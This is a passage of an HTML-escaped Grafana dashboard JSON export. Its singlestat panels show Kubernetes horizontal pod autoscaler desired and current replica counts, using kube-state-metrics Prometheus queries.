/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;iconColor&quot;:&amp;nbsp;&quot;rgba(0,&amp;nbsp;211,&amp;nbsp;255,&amp;nbsp;1)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;Annotations&amp;nbsp;&amp;amp;&amp;nbsp;Alerts&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;dashboard&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;editable&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;gnetId&quot;:&amp;nbsp;17125,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;graphTooltip&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;iteration&quot;:&amp;nbsp;1558717029334,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;links&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;panels&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cacheTimeout&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colorBackground&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colorValue&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colors&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#299c46&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rgba(237,&amp;nbsp;129,&amp;nbsp;40,&amp;nbsp;0.89)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#d44a3a&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;&quot;$datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;none&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gauge&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;maxValue&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;minValue&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdLabels&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdMarkers&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;5,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;interval&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;links&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappingType&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappingTypes&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;value&amp;nbsp;to&amp;nbsp;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;range&amp;nbsp;to&amp;nbsp;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;maxDataPoints&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullPointMode&quot;:&amp;nbsp;&quot;connected&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullText&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;postfix&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;postfixFontSize&quot;:&amp;nbsp;&quot;50%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;prefix&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;prefixFontSize&quot;:&amp;nbsp;&quot;50%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rangeMaps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;from&quot;:&amp;nbsp;&quot;null&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;N/A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;to&quot;:&amp;nbsp;&quot;null&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sparkline&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillColor&quot;:&amp;nbsp;&quot;rgba(31,&amp;nbsp;118,&amp;nbsp;189,&amp;nbsp;0.18)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;full&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineColor&quot;:&amp;nbsp;&quot;rgb(31,&amp;nbsp;120,&amp;nbsp;193)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tableColumn&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_status_desired_replicas{job=\&quot;kube-state-metrics\&quot;,&amp;nbsp;namespace=\&quot;$namespace\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;intervalFactor&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Desired&amp;nbsp;Replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;singlestat&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueFontSize&quot;:&amp;nbsp;&quot;80%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueMaps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;op&quot;:&amp;nbsp;&quot;=&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;0&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;null&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueName&quot;:&amp;nbsp;&quot;current&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cacheTimeout&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colorBackground&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colorValue&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colors&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#299c46&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rgba(237,&amp;nbsp;129,&amp;nbsp;40,&amp;nbsp;0.89)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#d44a3a&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;&quot;$datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;none&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gauge&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;maxValue&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;minValue&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdLabels&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdMarkers&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;3,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;6,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;6,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;6,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;interval&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;links&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappingType&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappingTypes&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;value&amp;nbsp;to&amp;nbsp;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;range&amp;nbsp;to&amp;nbsp;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;maxDataPoints&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullPointMode&quot;:&amp;nbsp;&quot;connected&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullText&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;postfix&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;postfixFontSize&quot;:&amp;nbsp;&quot;50%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;prefix&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;prefixFontSize&quot;:&amp;nbsp;&quot;50%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rangeMaps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;from&quot;:&amp;nbsp;&quot;null&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;N/A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;to&quot;:&amp;nbsp;&quot;null&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sparkline&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillColor&quot;:&amp;nbsp;&quot;rgba(31,&amp;nbsp;118,&amp;nbsp;189,&amp;nbsp;0.18)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;full&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineColor&quot;:&amp;nbsp;&quot;rgb(31,&amp;nbsp;120,&amp;nbsp;193)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tableColumn&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_status_current_replicas{job=\&quot;kube-state-metrics\&quot;,&amp;nbsp;namespace=\&quot;$namespace\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;intervalFactor&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br 